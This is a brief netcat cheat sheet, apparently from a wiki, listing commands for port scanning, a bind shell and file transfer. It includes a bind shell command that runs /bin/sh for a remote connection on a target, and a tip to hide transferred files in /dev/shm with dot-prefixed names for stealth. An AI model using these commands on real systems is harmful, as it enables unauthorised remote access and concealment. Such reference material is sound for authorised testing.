Netcat

nc — the original. For the SSL / allow-deny variant see Ncat.

Port scan

nc -zv HOST START-END

Bind shell

nc -lp PORTNUM -e /bin/sh       # on the target, then connect from your box

File transfer

Local → remote:

nc -lp PORTNUM < FILENAME                            # sender (local)
nc -w3 local.machine.ip.addr PORTNUM > FILENAME      # receiver (remote)

Remote → local:

nc -lp PORTNUM > FILENAME                            # receiver (local)
nc -w3 local.machine.ip.addr PORTNUM < FILENAME      # sender (remote)

/dev/shm lives in RAM — a handy scratch dir for transferred files. Prefix names with a . for a little extra stealth.

See also